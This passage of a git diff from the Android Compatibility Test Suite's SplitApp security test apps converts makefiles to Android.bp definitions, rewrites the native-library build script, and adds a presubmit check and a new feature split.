+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: [
+        "mdpi-v4",
+        "hdpi-v4",
+        "xhdpi-v4",
+        "xxhdpi-v4",
+        "v7",
+        "v23",
+        "fr",
+        "de",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    // Feature splits are dependent on this base, so it must be exported.
+    export_package_resources: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different revision code
+android_test_helper_app {
+    name: "CtsSplitAppDiffRevision",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 12",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different version code
+android_test_helper_app {
+    name: "CtsSplitAppDiffVersion",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 101",
+        "--version-name OneHundredOne",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different signature
+android_test_helper_app {
+    name: "CtsSplitAppDiffCert",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey2",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+    name: "CtsNeedSplitApp",
+    defaults: ["CtsSplitAppDefaults"],
+    manifest: "needsplit/AndroidManifest.xml",
+    package_splits: ["xxhdpi-v4"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the base apk
+android_test_helper_app {
+    name: "CtsSplitAppRevisionA",
+    defaults: ["CtsSplitAppDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index e98a3c1..73c2f58 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -16,154 +16,6 @@
 
 LOCAL_PATH := $(call my-dir)
 
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant with a different revision code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffRevision
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-LOCAL_AAPT_FLAGS += --revision-code 12
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different version code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffVersion
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different signature
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffCert
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := xxhdpi-v4
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
 ifeq (,$(ONE_SHOT_MAKEFILE))
-include $(LOCAL_PATH)/libs/Android.mk $(LOCAL_PATH)/feature/Android.mk
+include $(LOCAL_PATH)/libs/Android.mk
 endif
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index f7628ab..64010fc 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -15,10 +15,14 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     xmlns:tools="http://schemas.android.com/tools"
      package="com.android.cts.splitapp"
      android:targetSandboxVersion="2">
 
-    <uses-sdk android:minSdkVersion="4"/>
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor"/>
 
     <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
@@ -35,6 +39,13 @@
             <meta-data android:name="android.service.wallpaper"
                  android:resource="@xml/my_activity_meta"/>
         </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
         <receiver android:name=".MyReceiver"
              android:enabled="@bool/my_receiver_enabled"
              android:exported="true">
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk b/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
deleted file mode 100644
index b61c5d6..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_ARCHARCH
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/README b/hostsidetests/appsecurity/test-apps/SplitApp/README
index 480289e..bf7190e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/README
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/README
@@ -1,7 +1,6 @@
 
 The entire libs/ directory is built and constructed automatically with
 the build_libs.sh script.  Don't attempt to modify manually.  To rebuild
-the native code, make the following change to the NDK to pass through
-the target architecture, and then run build_libs.sh:
+the native code, make NDK_BUILD variable to point the correct path in
+the host environment, and then run build_libs.sh:
 
-build/core/build-binary.mk:LOCAL_CFLAGS := -DANDROID -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\" $(LOCAL_CFLAGS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
index 6090374..9e9237f 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
@@ -15,7 +15,93 @@
 # limitations under the License.
 #
 
-NDK_BUILD="$HOME/android-ndk-r10b/ndk-build"
+# Please change NDK_BUILD to point to the appropriate ndk-build in NDK. It's recommended to
+# use the NDK with maximum backward compatibility, such as the NDK bundle in Android SDK.
+NDK_BUILD="$HOME/Android/android-ndk-r16b/ndk-build"
+
+function generateCopyRightComment {
+  local year=$1
+
+  copyrightInMk=$(cat <<COPYRIGHT_COMMENT
+# Copyright (C) ${year} The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+# Automatically generated file from build_libs.sh.
+# DO NOT MODIFY THIS FILE.
+
+COPYRIGHT_COMMENT
+)
+  echo "${copyrightInMk}"
+}
+
+function generateLibsAndroidMk {
+  local targetFile=$1
+  local copyrightInMk=$(generateCopyRightComment "2015")
+(
+cat <<LIBS_ANDROID_MK
+${copyrightInMk}
+include \$(call all-subdir-makefiles)
+LIBS_ANDROID_MK
+) > "${targetFile}"
+
+}
+
+function generateAndroidManifest {
+  local targetFile=$1
+  local arch=$2
+(
+cat <<ANDROIDMANIFEST
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib_${arch}">
+    <application android:hasCode="false" />
+</manifest>
+ANDROIDMANIFEST
+) > "${targetFile}"
+
+}
+
+function generateAndroidMk {
+  local targetFile="$1"
+  local arch="$2"
+  local copyrightInMk=$(generateCopyRightComment "2014")
+(
+cat <<LIBS_ARCH_ANDROID_MK
+#
+${copyrightInMk}
+LOCAL_PATH := \$(call my-dir)
+
+include \$(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp_${arch}
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := raw
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
+
+include \$(BUILD_CTS_SUPPORT_PACKAGE)
+LIBS_ARCH_ANDROID_MK
+) > "${targetFile}"
+}
 
 # Go build everything
 rm -rf libs
@@ -30,20 +116,13 @@
     mkdir -p tmp/$arch/raw/lib/$arch/
     mv libs/$arch/* tmp/$arch/raw/lib/$arch/
 
-    echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>
-<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"
-        package=\"com.android.cts.splitapp\"
-        split=\"lib_${arch//[^a-zA-Z0-9_]/_}\">
-    <application android:hasCode=\"false\" />
-</manifest>" > tmp/$arch/AndroidManifest.xml
+    generateAndroidManifest "tmp/$arch/AndroidManifest.xml" "${arch//[^a-zA-Z0-9_]/_}"
 
-    cp NativeTemplate.mk tmp/$arch/Android.mk
-    sed -i -r "s/ARCHARCH/$arch/" tmp/$arch/Android.mk
-
+    generateAndroidMk "tmp/$arch/Android.mk" "$arch"
     )
 done
 
-echo "include \$(call all-subdir-makefiles)" > tmp/Android.mk
+generateLibsAndroidMk "tmp/Android.mk"
 
 rm -rf libs
 rm -rf obj
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
new file mode 100755
index 0000000..3419f2e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
@@ -0,0 +1,62 @@
+#!/bin/bash
+LOCAL_DIR="$( dirname "${BASH_SOURCE}" )"
+
+APP_DIR_IN_CTS="^hostsidetests\\/appsecurity\\/test-apps\\/SplitApp"
+BUILD_LIBS_SCRIPT="${APP_DIR_IN_CTS}\\/build_libs\\.sh\$"
+APP_LIBS_ANDROID_MK="${APP_DIR_IN_CTS}\\/libs/Android\\.mk\$"
+NATIVE_MK_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/Android\\.mk\$"
+MANIFEST_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/AndroidManifest\\.xml\$"
+JNI_PATTERN="${APP_DIR_IN_CTS}\\/jni\\/.*\$"
+LIB_SO_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/libsplitappjni.*\\.so\$"
+
+MODIFY_JNI=0
+MODIFY_ANDROID_MK=0
+MODIFY_BUILD_LIBS_SCRIPT=0
+LIB_SO_LIST=""
+MK_LIST=""
+MANIFEST_LIST=""
+for f in $*
+do
+    echo "${f}" | grep -q "${BUILD_LIBS_SCRIPT}" && MODIFY_BUILD_LIBS_SCRIPT=1
+    echo "${f}" | grep -q "${APP_LIBS_ANDROID_MK}" && MODIFY_ANDROID_MK=1
+
+    echo "${f}" | grep -q "${NATIVE_MK_PATTERN}" && MK_LIST="${MK_LIST}\n ${f}"
+
+    echo "${f}" | grep -q "${MANIFEST_PATTERN}" && MANIFEST_LIST="${MANIFEST_LIST}\n ${f}"
+
+    echo "${f}" | grep -q "${JNI_PATTERN}" && MODIFY_JNI=1
+    echo "${f}" | grep -q "${LIB_SO_PATTERN}" && LIB_SO_LIST="${LIB_SO_LIST}\n ${f}"
+done
+
+NUMBER_OF_ERRORS=0
+if [[ ${MODIFY_ANDROID_MK} -ne 0 && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of\n" \
+        "\033[0;31;47m${APP_LIBS_ANDROID_MK//\\/}\033[0m?"
+fi
+if [[ -n "${MK_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+        "\033[0;31;47m${MK_LIST}\033[0m?"
+fi
+if [[ -n "${MANIFEST_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+        "\033[0;31;47m${MANIFEST_LIST}\033[0m?"
+fi
+if [[ -n "${LIB_SO_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 && ${MODIFY_JNI} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${JNI_PATTERN//\\/} files instead of" \
+        "\033[0;31;47m${LIB_SO_LIST}\033[0m?"
+fi
+if [[ ${NUMBER_OF_ERRORS} -gt 0 ]]
+then
+    echo "Please make sure to modify the file by running build_libs.sh.${NUMBER_OF_ERRORS}"
+fi
+
+exit ${NUMBER_OF_ERRORS}
+
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
deleted file mode 100644
index 22d0a1a..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ /dev/null
@@ -1,74 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_PACKAGE_NAME := CtsSplitAppFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := v7
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_USE_AAPT2 := true
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-LOCAL_USE_AAPT2 := true
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
deleted file mode 100644
index c1ce39e..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="com.android.cts.splitapp"
-     split="feature">
-
-    <uses-sdk android:minSdkVersion="4"
-         android:targetSdkVersion="27"/>
-
-    <!-- New permission should be ignored -->
-    <uses-permission android:name="android.permission.INTERNET"/>
-
-    <!-- New application flag should be ignored -->
-    <application android:largeHeap="true">
-        <activity android:name=".FeatureActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper"
-                 android:resource="@xml/my_activity_meta"/>
-        </activity>
-        <receiver android:name=".FeatureReceiver"
-             android:enabled="@bool/feature_receiver_enabled"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED"/>
-            </intent-filter>
-        </receiver>
-        <service android:name=".FeatureService"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="com.android.cts.splitapp.service"/>
-            </intent-filter>
-        </service>
-        <provider android:name=".FeatureProvider"
-             android:authorities="com.android.cts.splitapp.provider"/>
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
deleted file mode 100644
index 07f19e4..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
+++ /dev/null
@@ -1,55 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-     package="com.android.cts.splitapp"
-     split="feature"
-     android:isSplitRequired="true">
-
-    <uses-sdk android:minSdkVersion="4"
-         android:targetSdkVersion="27"/>
-
-    <!-- New permission should be ignored -->
-    <uses-permission android:name="android.permission.INTERNET"/>
-
-    <!-- New application flag should be ignored -->
-    <application android:largeHeap="true">
-        <activity android:name=".FeatureActivity"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.LAUNCHER"/>
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper"
-                 android:resource="@xml/my_activity_meta"/>
-        </activity>
-        <receiver android:name=".FeatureReceiver"
-             android:enabled="@bool/feature_receiver_enabled"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED"/>
-            </intent-filter>
-        </receiver>
-        <service android:name=".FeatureService"
-             android:exported="true">
-            <intent-filter>
-                <action android:name="com.android.cts.splitapp.service"/>
-            </intent-filter>
-        </service>
-        <provider android:name=".FeatureProvider"
-             android:authorities="com.android.cts.splitapp.provider"/>
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
new file mode 100644
index 0000000..a691536
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSplitAppFeatureRose",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    // Generate an api split.
+    package_splits: ["v23"],
+    certificate: ":cts-testkey1",
+    libs: ["CtsSplitApp"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+        "--package-id 0x81",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
new file mode 100644
index 0000000..8666555
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.cts.splitapp"
+     split="feature_rose">
+
+    <application>
+        <activity android:name=".RoseThemeActivity" android:theme="@style/Theme_Rose"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/res/drawable/rose_color_drawable.xml
new file mode 100644
index 0000000..2a4ddf3
